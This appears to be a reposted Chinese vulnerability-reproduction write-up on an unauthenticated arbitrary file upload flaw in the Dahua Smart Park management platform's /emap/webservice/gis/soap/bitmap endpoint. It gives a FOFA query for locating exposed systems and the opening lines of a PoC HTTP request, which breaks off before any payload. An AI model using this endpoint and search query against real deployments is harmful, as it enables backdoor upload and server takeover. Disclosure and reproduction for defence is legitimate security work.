大华智慧园区综合管理平台 bitmap 任意文件上传漏洞复现

• Python

0x01 产品简介

“大华智慧园区综合管理平台”是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

0x02 漏洞概述

大华智慧园区综合管理平台 /emap/webservice/gis/soap/bitmap接口处存在任意文件上传漏洞，未授权的攻击者可以上传后门文件，执行任意命令，从而控制服务器权限。

0x03 复现环境

FOFA：app=”dahua-智慧园区综合管理平台”

大华智慧园区综合管理平台 bitmap 任意文件上传漏洞复现

0x04 漏洞复现

PoC

POST /emap/webservice/gis/soap/bitmap HTTP/1.1
Host: your-ip
Content-Typ

本文来自网络，不代表协通编程立场，如若转载，请注明出处：https://www.net2asp.com/cf671a1dd6.html

赞 (0)
« 上一篇 1天前
下一篇 » 1天前

相关推荐